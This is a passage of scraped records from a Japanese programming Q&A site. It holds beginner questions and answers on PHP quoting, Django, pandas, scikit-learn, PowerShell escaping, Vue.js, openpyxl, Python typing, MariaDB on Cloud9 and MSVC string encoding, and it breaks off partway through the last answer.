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"body": "以下のシンタックスエラーが発生します。\n\n```\n\n Parse error: syntax error, unexpected identifier \"id\", expecting \",\" or \";\" in C:\\xampp\\htdocs\\Portfolio\\user_table.php on line 38\n \n```\n\n38行目の `$data['id']` 付近で何か問題かと思うのですが、`htmlspecialchars`\nが何か邪魔しているのかと思い、削除してみても結果は同じでした。 \n念のため、id=\"seq\"を削除してみましたが結果は同じでした。 \nエラー原因をお教えいただけないでしょうか。\n\nソースを添付します。\n\n```\n\n <!doctype html>\n <html lang=ja>\n <head>\n <meta charset=\"utf-8\">\n <title>ユーザーメンテナンス</title>\n <meta name=\"description\" content=\"Salon Yuri-rinの管理者ページ\">\n <!--リセットcss-->\n <link rel=\"stylesheet\" href=\"https://unpkg.com/ress/dist/ress.min.css\">\n <!--css-->\n <link href=\"css/ad_style.css\" rel=\"stylesheet\">\n <!--レスポンシブ対応-->\n <meta name=\"viwport\" content=\"width=device-width, initial-scale=1\">\n <!--Googleフォント-->\n <link href=\"https://fonts.googleapis.com/css2?family=Sawarabi+Gothic&display=swap\" rel=\"stylesheet\">\n <link href=\"https://fonts.googleapis.com/css2?family=Shippori+Mincho:wght@500&display=swap\" rel=\"stylesheet\">\n </head>\n <body>\n <?php\n try{\n require_once(\"db_connect.php\");\n $pdo = new PDO(\"mysql:host=$SERV;dbname=$DB;charset=$CHAR\",$USER,$PASS);\n $pdo->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);\n $sql = \"select id,last_name,first_name,user,password from user_table\";\n $stmt = $pdo->query($sql);\n $row = $stmt->fetchAll(PDO::FETCH_ASSOC);\n foreach($row as &$data)\n var_dump($data);\n {\n echo '<h1>','ユーザーメンテナンス','</h1>';\n echo '<form action=\"?\" method=\"post\">';\n echo '<tr>';\n echo '<th class=\"header\">','姓','</th>';\n echo '<th class=\"header\">','名','</th>';\n echo '<th class=\"header\">','ユーザー','</th>';\n echo '<th class=\"header\">','パスワード','</th>';\n echo '<th class=\"header2\">','<input type=\"submit\" name=\"button\" value=\"登録\" formaction=\"user_create.php\">','</th>';\n echo '<tr>';\n echo '<input type=\"hidden\" name=\"seq\" value=\"htmlspecialchars($data['id'], ENT_QUOTES | ENT_HTML5, 'UTF-8')\" id=\"seq\">';\n echo '<td class=\"dt\">','<input type=\"text\" name=\"sei\" value=\"htmlspecialchars($data['last_name'], ENT_QUOTES | ENT_HTML5, 'UTF-8')\" id=\"sei\" readonly=\"readonly\">','</td>';\n echo '<td class=\"dt\">','<input type=\"text\" name=\"mei\" value=\"htmlspecialchars($data['first_name'], ENT_QUOTES | ENT_HTML5, 'UTF-8')\" id=mei readonly=\"readonly\">','</td>';\n echo '<input type=\"hidden\" name=\"sei_kana\" value=\"htmlspecialchars($data['last_name_kana'], ENT_QUOTES | ENT_HTML5, 'UTF-8')\" id=\"sei_kana\">';\n echo '<input type=\"hidden\" name=\"mei_kana\" value=\"htmlspecialchars($data['first_name_kana'], ENT_QUOTES | ENT_HTML5, 'UTF-8')\" id=\"mei_kana\">';\n echo '<td class=\"dt\">','<input type=\"text\" name=\"user\" value=\"htmlspecialchars($data['user'], ENT_QUOTES | ENT_HTML5, 'UTF-8')\" id=\"user\" readonly=\"readonly\">','</td>';\n echo '<td class=\"dt\">','<input type=\"password\" name=\"password\" value=\"htmlspecialchars($data['password'], ENT_QUOTES | ENT_HTML5, 'UTF-8')\" id=\"password\" readonly=\"readonly\">','</td>';\n echo '<td>';\n echo '<input type=submit name=botton value=\"修正\" formaction=\"user_update.php\">';\n echo '</td>';\n echo '<td>';\n echo '<input type=submit name=botton value=\"修正\" formaction=\"user_delete.php\">';\n echo '</td>';\n echo '</tr>';\n echo \"\\n\";\n echo '</table>';\n echo '</form>';\n }\n }\n catch(PDOException $e){echo \"次がエラーの内容です。;\" .$e->getMessage();}\n ?>\n </body>\n </html>\n \n```",
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"title": "syntax errorについて",
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"body": "シングルクォーテーションで括られた文字列の中にシングルクォーテーションを入れ子にできないため、コンパイルエラーになります。 \n入れ子にしたい場合は`\\'`のようにエスケープしてください。\n\n```\n\n echo 'a'b'c'; // コンパイルエラー\n 'a\\'b\\'c'; // OK\n \n```\n\nまた、ご質問の例ではシングルクォーテーションの中に[htmlspecialchars](https://www.php.net/manual/ja/function.htmlspecialchars.php)が入っていますが、これはただの文字列として動作して式評価されません。 \n下記のようにhtmlspecialcharsの戻り値の文字列と通常の文字列を`.`で連結することで、求める値になりそうです。\n\n```\n\n <?php\n $data = array('id' => '<1>');\n echo '<input value=\"' . htmlspecialchars($data[\"id\"], ENT_QUOTES | ENT_HTML5, \"UTF-8\") . '\" id=\"seq\">';\n ?>\n \n```",
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"body": "以下のソースコードの動作において、 \nGETを除くそれぞれのメソッドは、適切なURL(<http://127.0.0.1:8000/api/...>)で最後にスラッシュがあれば、正常に呼び出されます。 \nしかし、スラッシュがない場合、 \n・DELETEの場合、retrieveが呼ばれます。 \n・POST,PUTの場合、エラーとなります。\n\n<http://127.0.0.1:8000/api/>\n以降のどのような記述であっても、任意のエラーJSONレスポンスを返したいと考えていますが、どのようにしたらよいのでしょうか？\n\n## ソースコード\n\n```\n\n class TestAPIView(viewsets.ViewSet):\n def list(self, request):\n # [GET]\n ...\n def retrieve(self, request, pk):\n # [GET]/<pk>\n ...\n def create(self, request):\n #[POST]/\n ...\n def update(self, request, pk):\n #[PUT]/\n ...\n def delete(self, request, pk):\n #[DELETE]\n ...\n \n```",
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"title": "PUT/POST/DELETEメソッドURLの書式間違いや最後のスラッシュ忘れ対策方法",
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"body": "画像のようにdf1~12 target_list1~12 まで増えるコードがあるのですが \nfor文で一つにまとめたいと考えています。\n\n見た目が悪いので何かいい方法はないでしょうか？\n\n[](https://i.stack.imgur.com/pe9Et.png)",
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"title": "複数の処理をfor文で一つのコードにまとめる方法はありますか？",
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"body": "[辞書型](https://docs.python.org/ja/3/library/stdtypes.html?highlight=dict#mapping-\ntypes-dict)の利用がスタンダートです。 \nそのほかに[リスト型](https://docs.python.org/ja/3/library/stdtypes.html?highlight=list#lists)もよく利用されます。\n\n**辞書型のサンプルコード**\n\n```\n\n dic = {}\n for i in range(1, 13):\n dic[i] = f'ゾーン名 in @target_list{i}'\n \n print(dic[1]) # ゾーン名 in @target_list1\n print(dic[12]) # ゾーン名 in @target_list12\n \n```",
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"body": "`df` が Pandas のデータフレームだとすれば、`target_list1` ~ `target_list12` をリストのリストにして list\ncomprehension で抽出する方法もあるかと思います。(出力はデータフレームのリストになります)\n\n```\n\n import pandas as pd\n \n df = pd.DataFrame({'ゾーン名': ['d', 'i', 'b', 'f', 'a', 'g', 'e', 'c', 'h']})\n \n target_list1 = ['a', 'b', 'c']\n target_list2 = ['d', 'e', 'f']\n target_list3 = ['g', 'h', 'i']\n target_list = [target_list1, target_list2, target_list3]\n \n #\n dfs = [df.query('ゾーン名 in @target').reset_index(drop=True) for target in target_list]\n print(f'dfs[0] =\\n{dfs[0]}')\n print(f'dfs[1] =\\n{dfs[1]}')\n print(f'dfs[2] =\\n{dfs[2]}')\n \n # dfs[0] =\n # ゾーン名\n # 0 b\n # 1 a\n # 2 c\n # \n # dfs[1] =\n # ゾーン名\n # 0 d\n # 1 f\n # 2 e\n # \n # dfs[2] =\n # ゾーン名\n # 0 i\n # 1 g\n # 2 h\n \n```",
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"body": "```\n\n import pandas as pd\n from sklearn.model_selection import cross_val_score, train_test_split\n from sklearn.metrics import accuracy_score, confusion_matrix\n from sklearn.tree import DecisionTreeClassifier\n from sklearn.metrics import roc_curve, auc\n import matplotlib.pyplot as plt\n from sklearn.ensemble import RandomForestClassifier\n from sklearn.model_selection import train_test_split, GridSearchCV\n from sklearn.metrics import accuracy_score\n \n \n #データの読み込み\n data = pd.read_csv('BioAsseT pt3 PRRS.csv')\n \n #目的変数と従属変数に分ける\n X = data.iloc[:, :-1] # 全ての行を取得し、最後の列を取得しない\n Y = data.iloc[:, -1] # 全ての行を取得し、最後の列のみを取得する\n \n # データを学習用とテスト用に分割する\n X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2, random_state=42)\n \n \n param_grid = {\n 'n_estimators': [300],\n 'max_depth': [10],\n 'min_samples_split': [3],\n 'min_samples_leaf': [2],\n }\n \n # ランダムフォレストモデルの作成\n model = RandomForestClassifier(random_state=42)\n \n # GridSearchCVを用いてパラメータのチューニング\n grid_search = GridSearchCV(estimator=model, param_grid=param_grid, cv=10)\n grid_search.fit(X_train, Y_train)\n \n # チューニングされたモデルの取得\n best_model = grid_search.best_estimator_\n \n # テストデータを用いた予測\n y_pred = best_model.predict(X_test)\n \n # 精度の評価\n accuracy = accuracy_score(Y_test, y_pred)\n print(\"Accuracy:\", accuracy) \n \n import numpy as np\n \n feature_gini_coefficients = []\n for i in range(len(data.columns)-1):\n # 特徴量を除いた残りの特徴量でデータを作成\n X = data.drop(columns=[data.columns[i]])\n # モデルを学習\n best_model.fit(X, Y)\n # 特徴量の重要度を取得\n feature_importances = best_model.feature_importances_\n # ジニ係数を計算\n gini_index = 1 - np.sum(np.square(feature_importances))\n # 結果をリストに追加\n feature_gini_coefficients.append(gini_index)\n \n # 結果を表示\n for i in range(len(data.columns)-1):\n print(\"Feature: {}, Gini coefficient: {:.2f}\".format(data.columns[i], feature_gini_coefficients[i]))\n \n```\n\n結果が以下の通りです\n\n```\n\n Feature: external, Gini coefficient: 0.79\n Feature: es1, Gini coefficient: 0.79\n Feature: es2, Gini coefficient: 0.78\n Feature: es3, Gini coefficient: 0.79\n Feature: es4, Gini coefficient: 0.79\n Feature: es5, Gini coefficient: 0.79\n Feature: es6, Gini coefficient: 0.79\n Feature: es7, Gini coefficient: 0.78\n Feature: es8, Gini coefficient: 0.78\n Feature: es9, Gini coefficient: 0.78\n Feature: internal, Gini coefficient: 0.79\n Feature: is1, Gini coefficient: 0.78\n Feature: is2, Gini coefficient: 0.78\n Feature: is3, Gini coefficient: 0.78\n Feature: is4, Gini coefficient: 0.78\n Feature: is5, Gini coefficient: 0.78\n Feature: is6, Gini coefficient: 0.78\n Feature: is7, Gini coefficient: 0.77\n Feature: diagnostic, Gini coefficient: 0.78\n Feature: ds1, Gini coefficient: 0.77\n Feature: ds2, Gini coefficient: 0.78\n Feature: ds3, Gini coefficient: 0.78\n Feature: ds4, Gini coefficient: 0.77 ```\n \n```",
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"title": "モデルの正解率が96％にもかかわらず、各特徴量のジニ係数の結果があまりにもばらつきがないため過学習もしくはチューニング手法を間違っていると考えましたがどこでミスが起きているのかわからず助言をいただきたいです",
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"body": "Djangoでモデルを指定したリストのIDを持つものを抽出したいのですができません。 \n参考記事をもとにしてみましたがエラーが発生しました。\n\n## バージョン\n\nDjango:4.0\n\n## 参考記事\n\n[Django 'objects.filter()' with\nlist?](https://stackoverflow.com/questions/5956391/django-objects-filter-with-\nlist)\n\nこの参考記事に書かれていることを試しました。 \n（1）__in\n\n```\n\n モデル.objects.filter(id__in=リスト)\n \n```\n\nid__in自体がSyntaxErrorとなります。\n\n(2)Q()\n\n```\n\n qfilter = Q()\n for q in リスト:\n qfilter = qfilter | Q(id=qfilter )\n \n モデル.objects.filter(qfilter)\n \n```\n\ndjango.db.utils.OperationalError: near \"OR\": syntax error が表示されます。",
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"title": "django filter リストでの判定ができない。",
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{
"body": "2. の方\n\n```\n\n qfilter = Q()\n for q in リスト:\n qfilter = qfilter | Q(id=q)\n \n モデル.objects.filter(qfilter)\n \n```\n\nが正しいですね。\n\n（ただし`__in`の方を使うべきであって、こちらを使う理由はないです）",
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"body": "Powershell上で以下を実行した際に、`{\"test\":10}` という文字列をメッセージとして送りたかったので、\n\n```\n\n ps> .\\mosquitto_pub -h test.mosquitto.org -t spresense/mqtt -m \"{\\\"test\\\":10}\"\n \n```\n\nを実行しようとしてもエスケープ文字が解釈できずエラーになってしまいます。\n\n```\n\n ps> .\\mosquitto_pub -h test.mosquitto.org -t spresense/mqtt -m \"{`\"test`\":10}\"\n \n```\n\nは、送信できますが、subscriberは、`{test:10}` と解釈します。\n\n```\n\n ps> .\\mosquitto_pub -h test.mosquitto.org -t spresense/mqtt -m \"{\"\"test\"\":10}\"**\n \n```\n\nも送信できますが、 `{test:10}` と解釈します。実際には、どのように送ればよいのでしょうか？\n\nコマンドプロンプトでは、\n\n```\n\n > .\\mosquitto_pub -h test.mosquitto.org -t spresense/mqtt -m \"{\\\"test\\\":10}\"\n \n```\n\nで送ることができ、subscriberは、 `{\"test\":10}` と解釈できています。",
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"title": "Powershell上でmosquitto_pubを \" 使ったpublishメッセージに”文字を送りたい。",
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{
"body": "UNIX系OSはshellがコマンドライン引数を解釈し、グロブ展開（`*.txt`などを実ファイル名に展開）してからプロセスが起動されます。 \nしかし、Windowsではshellにそのような機能がないため、各プロセスのスタートアップルーチンがコマンドライン引数を解釈し、グロブ展開を行います。その上で、shell（`cmd.exe`;コマンドプロンプトやPowerShell）は各プロセスのスタートアップルーチンを邪魔しないようにコマンドライン引数を解釈しています。 \n要するに、 **コマンドライン引数は２段階で解釈されるため、それを見越してコマンドライン入力する必要があります** 。\n\n* * *\n\n> コマンドプロンプトでは、\n```\n\n> .\\mosquitto_pub -h test.mosquitto.org -t spresense/mqtt -m\n> \"{\\\"test\\\":10}\"\n> \n```\n\n>\n> で送ることができ、subscriberは、 `{\"test\":10}` と解釈できています。\n\n`cmd.exe`のエスケープ文字は`^`です。`^`が含まれていない以上、`cmd.exe`に渡した引数はそのままプロセスに渡されます。つまり`.\\mosquitto_pub`が受け取るコマンドライン引数は\n\n```\n\n -h test.mosquitto.org -t spresense/mqtt -m \"{\\\"test\\\":10}\"\n \n```\n\nです。PowerShellでこのコマンドライン引数を再現するためには\n\n```\n\n .\\mosquitto_pub -h test.mosquitto.org -t spresense/mqtt -m \"{\\`\"test\\`\":10}\"\n \n```\n\n辺りでどうでしょうか？ （[PowerShellのエスケープ文字は ` です](https://learn.microsoft.com/ja-\njp/powershell/module/microsoft.powershell.core/about/about_quoting_rules?view=powershell-7.3)）\n\nこれでダメな場合、外側の`\"`も保持するように\n\n```\n\n .\\mosquitto_pub -h test.mosquitto.org -t spresense/mqtt -m \"`\"{\\`\"test\\`\":10}`\"\"\n \n```\n\nとする必要があるかもしれません。",
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"body": "Vue.jsの学習を始めた超初心者です。 \n参考書を片手に理解しようとしているのですが、 \n参考書に掲載されているソースコードを書いても正しい出力結果が表示されません。\n\n具体的には\n\n```\n\n <!DOCTYPE html>\n <html>\n <head>\n <meta charset=\"UTF-8\">\n <script src=\"https://unpkg.com/vue@3/dist/vue.global.js\" type=\"text/javascript\"></script>\n </head>\n <body>\n <div id=\"sample\">\n ただいまの時間は{{time}}です。\n </div>\n </body>\n <script type=\"text/javascript\">\n Vue.createApp({\n el: '#sample',\n data: {\n time: new Date().toLocaleTimeString()\n }\n })\n </script>\n </html>\n \n```\n\n参考書によれば、このようにコードを書けば、出力結果は\n\n> ただいまの時間はH:mm:ssです。\n\nとなるようなのですが、実際の出力内容は\n\n> ただいまの時間は{{time}}です。\n\nと波かっこがそのまま表示されてしまいます。 \nなぜなのでしょうか。参考書に掲載されているコードが間違っているのでしょうか？\n\nわかる方は教えていただけると幸いです。",
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"title": "Vue.jsで{{○○}}がそのまま出力されてしまう",
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"body": "JavaScriptコードの部分を次のようにしてください。\n\n```\n\n Vue.createApp({\n data() {\n return {\n time: new Date().toLocaleTimeString()\n };\n }\n }).mount('#sample');\n \n```",
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"body": "変数gk2に29が入っており、これをExcelのA60に挿入したいです。\n\n```\n\n sheet = wb['HMR']\n sheet['A60'] = '=\"6F\"&gk2&\"人\"'\n \n```\n\n\"6F 29人\" と表示したいのですが、上記のコードで実行すると \"6F 人\" と表示されます。 \nセルに挿入する際に変数の値は挿入できないものなのでしょうか？ \n何かいい方法があれば、教えていただけないでしょうか？[](https://i.stack.imgur.com/cTBk2.png)",
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"title": "Python で Excel セル内に変数内の数字は挿入できない？",
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"body": "コメントの通り、GK2セルの値を取りに行くエクセル関数が記述されているようです。 \nサンプルコードのように、pythonの文字列へ`gk2`変数を代入して動作を確認してください。\n\n**サンプルコード**\n\n```\n\n gk2 = 29\n print('=\"6F\"&gk2&\"人\"') # GK2 セルの値を代入\n print('=\"6F' + str(gk2) + '人\"') # 文字列を + 記号で連結\n print(f'=\"6F{gk2}人\"') # フォーマット文字列でgk2変数を展開 (python 3.6 以降利用可能)\n \n # sheet['A60'] = f'6F{gk2}人' # セルに`gk2`変数を代入した文字列を設定する(「=\"6F29人\"」のようなエクセル関数化は不要)\n \n```\n\n**実行結果**\n\n```\n\n =\"6F\"&gk2&\"人\" \n =\"6F29人\" \n =\"6F29人\" \n \n```",
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"body": "与えられた変数がリストで、リスト内の要素がすべて整数であることを判定したいです。\n\nisinstanceでtype判定し、数値以外が混在し、sumが失敗すればTypeError例外。sumが成功し、結果がint型であれば、整数だと判断します。1.0などは意図的にfloatを含めたと判断してエラーとしています。 \n作成したソースコードは、正しく動作しております。\n\nもっと簡便に判定する方法はないでしょうか？\n\n## ソースコード\n\n```\n\n def check(int_list:list):\n if isinstance(int_list,list):\n try:\n s = sum(int_list)\n if not isinstance(s, int):\n raise Exception('整数のリストではありません。')\n except TypeError:\n raise Exception('整数のリストではありません。')\n else:\n raise Exception('リストではありません。')\n \n return int_list\n \n```",
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"title": "与えられたリストがすべて整数であることを判定する方法",
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"body": "本家SOに、ご質問に合致する[回答](https://stackoverflow.com/a/13252348)がありました。 \n組み込み関数の[all](https://docs.python.org/ja/3/library/functions.html#all)を使って\n`all({判定} for x in list)` のように判定することで、リストの全項目が判定条件を満たすかチェックすることができます。\n\n```\n\n int_list = [1,2,3]\n is_all_int = all(isinstance(x, int) for x in int_list)\n print(is_all_int) # True\n \n float_list = [1,2,3, 4.5]\n is_all_int = all(isinstance(x, int) for x in float_list)\n print(is_all_int) # False\n \n obj_list = [1,2,3, \"4\"]\n is_all_int = all(isinstance(x, int) for x in obj_list)\n print(is_all_int) # False\n \n```",
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"body": "1. cloud9のmysqlのバージョンの初期は下記の状態でした。\n``` mysql Ver 14.14 Distrib 5.7.42, for Linux (x86_64) using EditLine\nwrapper\n\n \n```\n\n 2. php専用ワークスペースの構築作りで、サイトを参考にmariadbをインストールして下記のバージョンになりました。\n``` mysql Ver 15.1 Distrib 10.2.38-MariaDB, for Linux (x86_64) using\nEditLine wrapper\n\n \n```\n\n 3. やはりmariadbはいらないという事が判明したので、元に戻そうとしたのですが、色々なサイトを参考にコマンドを打ってみたのですが、変更されませんでした。 \n例：mariadbをremoveしたり、元のmysqlバージョンをインストールしようと試したりしました。\n\n 4. 現在、は2の状態のまま変更できずに困っています。\n\n* * *\n\n追記 \n`yum list installed mariadb-server` を実行した所、下記の表示になりました。\n\n```\n\n Loaded plugins: extras_suggestions, langpacks, priorities, update-motd\n hashicorp 1196/1196\n 225 packages excluded due to repository priority protections\n Error: No matching Packages to list\n \n```\n\n現状のmariadbはこちらです。\n\n```\n\n ec2-user:~/environment $ mysql --version\n mysql Ver 15.1 Distrib 10.2.38-MariaDB, for Linux (x86_64) using EditLine wrapper\n ec2-user:~/environment $ yum list installed | grep mariadb\n mariadb.x86_64 3:10.2.38-1.amzn2.0.1 @amzn2extra-lamp-mariadb10.2-php7.2\n mariadb-common.x86_64 3:10.2.38-1.amzn2.0.1 @amzn2extra-lamp-mariadb10.2-php7.2\n mariadb-config.x86_64 3:10.2.38-1.amzn2.0.1 @amzn2extra-lamp-mariadb10.2-php7.2\n mariadb-libs.x86_64 3:10.2.38-1.amzn2.0.1 @amzn2extra-lamp-mariadb10.2-php7.2\n php-cli.x86_64 7.2.24-1.amzn2.0.1 @amzn2extra-lamp-mariadb10.2-php7.2\n php-common.x86_64 7.2.24-1.amzn2.0.1 @amzn2extra-lamp-mariadb10.2-php7.2\n php-devel.x86_64 7.2.24-1.amzn2.0.1 @amzn2extra-lamp-mariadb10.2-php7.2\n php-fpm.x86_64 7.2.24-1.amzn2.0.1 @amzn2extra-lamp-mariadb10.2-php7.2\n php-json.x86_64 7.2.24-1.amzn2.0.1 @amzn2extra-lamp-mariadb10.2-php7.2\n php-mysqlnd.x86_64 7.2.24-1.amzn2.0.1 @amzn2extra-lamp-mariadb10.2-php7.2\n php-pdo.x86_64 7.2.24-1.amzn2.0.1 @amzn2extra-lamp-mariadb10.2-php7.2\n php-process.x86_64 7.2.24-1.amzn2.0.1 @amzn2extra-lamp-mariadb10.2-php7.2\n php-xml.x86_64 7.2.24-1.amzn2.0.1 @amzn2extra-lamp-mariadb10.2-php7.2\n \n```\n\n！追記（6/19） \nサイトや公式ドキュメントを頼りに試しているのですが、下記だけのパッケージのインストールで大丈夫なのでしょうか？\n\n```\n\n ec2-user:~/environment $ yum list installed | grep mysql\n mysql80-community-release.noarch el7-3 installed \n php-mysqlnd.x86_64 7.2.24-1.amzn2.0.1 @amzn2extra-lamp-mariadb10.2-php7.2\n \n```",
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"title": "Cloud9 上の MariaDB を削除したい",
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"body": "編集される前のタイトルで「mysqlのmariadbを削除したい」と言っている時点で、MySQL、MariaDB、そして、`mysql`というコマンドや`mysqld`というデーモンとの関係が理解できていないと思われます。そのため、何をしたいのかがいささか不明な質問になっています。\n\n「mysqlのmariadb」と言うものは存在しません。存在するのは「MariaDBの`mysql`コマンド」です。まず、その関係性から整理します。\n\nまずは歴史のお勉強からです。\n\nMySQLはスウェーデンのMySQL\nAB社が作成したOSS(オープンソースソフトウェア)のRDBMS(関係データベース管理システム)です。その後、MySQL AB社はSun\nMicrosystems社に買収され、さらに、Sun\nMicrosystems社はOrcale社に吸収合併されます。こうして、MySQLはOracle社の物になりましたが、Oracle社は元々Oracle\nDBというこれまた有名なRDBMSを持っており、MySQLがどのように扱われるのかが不明であり、MySQLのコミュニティーでは将来の危機感をもっていました。そこで、MySQL\nAB社の創設者がMySQLをフォーク(OSSなので誰でも自由にフォークできる)して作ったのがMariaDBです。その後、Oracle社はMySQLの開発を一応継続しますが、それとは別にMraiaDBも独自に開発が進んで現在にいたります。\n\nMraiaDBはMySQLとは別のソフトウェアですが、MySQLからフォークし、また、互換性を持つため、各コマンドやデーモンがMySQLと同じです。MySQLでは、クライアントとして`mysql`コマンドを使用し、サーバーとして`mysqld`デーモンを使用します。MraiaDBも同じく、`mysql`コマンドと`mysqld`デーモンを使用します。最新版では互換性のためにシンボリックリンクとして存在する場合もありますが、いずれの場合でも、`mysql`コマンドはMySQLもMariaDBもそれぞれが持っている(適用する)ことになります。そのため、(別フォルダーに入れるなど出ない限り)MySQLとMariaDBを一緒に入れることはできません。\n\nつまり、「MySQLの`mysql`コマンド」と「MariaDBの`mysql`コマンド」と二種類の`mysql`コマンドが存在します。どちらであるのかは、MariaDB側はバージョン情報にMariaDBの表記ができるのでわかります。これらを踏まえて推測するに、「MariaDBの`mysql`コマンド」を「MySQLの`mysql`コマンド」に戻したいといううことだと思います。\n\nでは、戻す方法ですが、Cloud9の環境(たぶん、Amazon Linux 2)がないので、以下は **憶測**\nですが、かなり難しそうです。`amazon-linux-extras`で\"lamp-\nmariadb10.2-php7.2\"という拡張ライブラリのレポジトリを有効にしているかと思います。これにはMariaDB10.2が含まれるため、普通に`yum\ninstall\nmysql`を実行した場合、そちらのレポジトリにあるMariaDBの`mysql`コマンドを入れるようとしてしまっていると考えられます。\"lamp-\nmariadb10.2-php7.2\"を無効にして、\"mariadb\"と\"mysql\"とついているパッケージを全て削除してから、再度`yum install\nmysql`とすれば戻せるかも知れませんが、PHPのために\"lamp-mariadb10.2-php7.2\"を有効にして、\"yum\nupdate\"とすると、また、MariaDBのほうに置き換わる可能性があります。\n\nもし、どうしても戻したいなら、\n\n 1. 環境を一度リセットする。(全部はじめからやり直す)\n 2. \"lamp-mariadb10.2-php7.2\"を使わずに、PHPを入れる。\n\nとするしか無いと思われます。\n\nそもそも、データベースのサーバー側は何でしょうか？一般的に、データーベースのサーバー側とソフトウェアとバージョンは合わせた方が良いと言われています。MySQLだったとしても、標準で入っていたMySQL\n5.7は古いバージョン(最新は8.0)ですし、わざわざそれを使わなければならない理由が不明です。まずは、使おうとしているデーターベースのソフトウェアとバージョンを調べ、それに合わせたものを入れられないか検討することから始めるべきかと思います。\n\n* * *\n\n実際にやりたいことが「MySQLの`mysql`コマンドを使いたい」だけというのであれば、公式のRPMパッケージを使うのが最適かと思います。例えば、MySQL\n8.0のインストール方法は、下記が参考になります。(Amazon Linux 2は「EL7 ベースのシステム」になります。)\n\n[MySQL :: MySQL 8.0 リファレンスマニュアル :: 2.5.1 MySQL Yum リポジトリを使用して MySQL を Linux\nにインストールする](https://dev.mysql.com/doc/refman/8.0/ja/linux-installation-yum-\nrepo.html)\n\n※ 全体の流れは、[AWS EC2 AmazonLinux2\nMySQLをインストールする](https://qiita.com/miriwo/items/eb09c065ee9bb7e8fe06)等が参考になるかと思います。\n\n実際に使用する予定のMySQLのバージョンとあわせてください。なお、MySQL 5.7は2023年10月で延長サポートが終了するため、お勧めしません。\n\n※ lamp-mariadb10.2-php7.2のMariaDBとコンフリクトする可能性があります。うまくいかない場合は、lamp-\nmariadb10.2-php7.2は入れないようにしてください。",
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"body": "以下のソースコードにおいて、\n\n```\n\n def func( key:Union[int,list] = None):\n ...\n \n```\n\nkeyという引数は、Optionalでありながら、Unionでint、listにもなりうるものです。\n\nLinter(Mypy)でエラーとして検出されてしまいます。\n\nどのような記述方法が正解なのでしょうか？",
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"title": "引数のアノテーションで、UnionとOptionalを併用する方法",
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"body": "型エイリアスを使えばよいことがわかりました。\n\n```\n\n aliasKey = Union[int,list]\n def func( key:Optinal[aliasKey ] = None):\n ...\n \n```",
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{
"body": "手元の環境(mypy 1.3.0)で、`None`を許容するように書き換える方法でも警告がなくなりました。\n\n```\n\n def func(key:Union[int,list] = None): # 修正前\n def func(key:Union[int,list,None] = None): # 修正後\n \n```\n\n**修正前のmypy実行結果**\n\n```\n\n hoge.py:3: error: Incompatible default for argument \"key\" (default has type \"None\", argument has type \"Union[int, List[Any]]\") [assignment]\n hoge.py:3: note: PEP 484 prohibits implicit Optional. Accordingly, mypy has changed its default to no_implicit_optional=True\n hoge.py:3: note: Use https://github.com/hauntsaninja/no_implicit_optional to automatically upgrade your codebase\n Found 1 error in 1 file (checked 1 source file)\n \n```\n\n**修正後のmypy実行結果**\n\n```\n\n Success: no issues found in 1 source file\n \n```",
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{
"body": "[`Optional`](https://docs.python.org/ja/3/library/typing.html#typing.Optional)\nをそのまま使って構いません。\n\n```\n\n from typing import Union, Optional\n \n Optional[Union[int, list]]\n \n```\n\nなお、以下のように書き換え可能ですので、最短の型表記は `int | list | None` だと思います。既に有る payaneco\nさんの回答とも意味的に同じです。\n\n```\n\n # 全て意味的に同じ型\n print(\n Optional[Union[int, list]] ==\n Union[Union[int, list], None] ==\n (int | list) | None ==\n int | list | None\n )\n # => True\n \n```",
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"body": "Microsoft Visual Studio Community 2022 \nVersion 17.4.4 \nVisualStudio.17.Release/17.4.4+33213.308 \nMicrosoft .NET Framework \nVersion 4.8.04084\n\n以下のソースを実行します。\n\n```\n\n int main()\n {\n char c[] = \"ソ\";\n std::string s1 = \"ソ\";\n std::wstring s2 = L\"ソ\";\n \n return 0;\n }\n \n```\n\nこのとき、後述する設定であれば変数\"c\"内の値がUTF-8の解釈である「E3 82 BD」に \nなると思っていましたが、実際は下図の通り、Shift_JISの解釈である「83 5C」となっています。\n\n実行時の\"c\"のメモリ \n[](https://i.stack.imgur.com/O44UR.png)\n\n文字セットの設定：Unicode文字セットを使用する \n[](https://i.stack.imgur.com/RboWi.png)\n\n/utf-8オプションは付けていません。 \n[](https://i.stack.imgur.com/ETuY3.png)\n\nファイルエンコード：UTF-8 BOM付 \n[](https://i.stack.imgur.com/mY2Zy.png)\n\nなぜ、Unicode文字セットを使用してファイルエンコードはUTF-8なのに \nShift_JISの解釈がされているのでしょうか？\n\nちなみに、ファイルをUTF-8(BOM無し)で保存して実行すると \n以下のようになります。 \n[](https://i.stack.imgur.com/mGJxu.png)\n\nしかし、この場合は「C4819: ファイルは、現在のコード ページ (932) で表示できない文字を含んでいます。」という警告が表示されます。 \n挙動がよく理解できないのですが、ご教示頂けますでしょうか…",
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"title": "Unicode文字セットでもShift_JISで解釈される",
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"body": "おそらくこちらの記事の内容が適用されているものと思われます。 \n[文字列リテラルと文字リテラル (C++)](https://learn.microsoft.com/ja-jp/cpp/cpp/string-and-\ncharacter-literals-cpp?view=msvc-170)\n\n> 文字リテラル \n> 文字リテラル は、定数文字で構成されます。 これは単一引用符で囲んだ文字によって表されます。 文字リテラルには次の 4 種類があります:\n>\n> * `char`型の通常文字リテラル。たとえば`'a'`\n> * `char`型の UTF-8 文字リテラル (C++20 では`char8_t`)。たとえば`u8'a'`\n> * `wchar_t`型のワイド文字リテラル。たとえば`L'a'`\n> * `char16_t`型の UTF-16 文字リテラル。たとえば`u'a'`\n> * `char32_t`型の UTF-32 文字リテラル。たとえば`U'a'`\n>\n\n> エンコード \n> 文字リテラルは、プレフィックスに基づいて異なる方法でエンコードされます。\n>\n> * プレフィックスのない文字リテラルは、通常の文字リテラルです。 実行文字セットで表すことができる単一の文字、エスケープ\n> シーケンス、またはユニバーサル文字名を含む通常の文字リテラルの値には、実行文字セットにおけるそのエンコードの数値と同じ値が設定されています。\n> 複数の文字、エスケープ シーケンス、またはユニバーサル文字名を含む通常の文字リテラルは、多文字リテラルです。\n> 実行文字セットで表現できない多文字リテラルまたは通常の文字リテラルには型`int`があり、その値は実装定義されています。 MSVC\n> については、以下のMicrosoft 固有の項を参照してください。\n>\n\n> 文字列リテラル \n> 文字列リテラルは文字のシーケンスを表し、その全体が、null で終わる文字列を形成します。 文字列は二重引用符で囲む必要があります。\n> 文字列リテラルの種類は次のとおりです。\n\n> ナロー文字列リテラル \n> 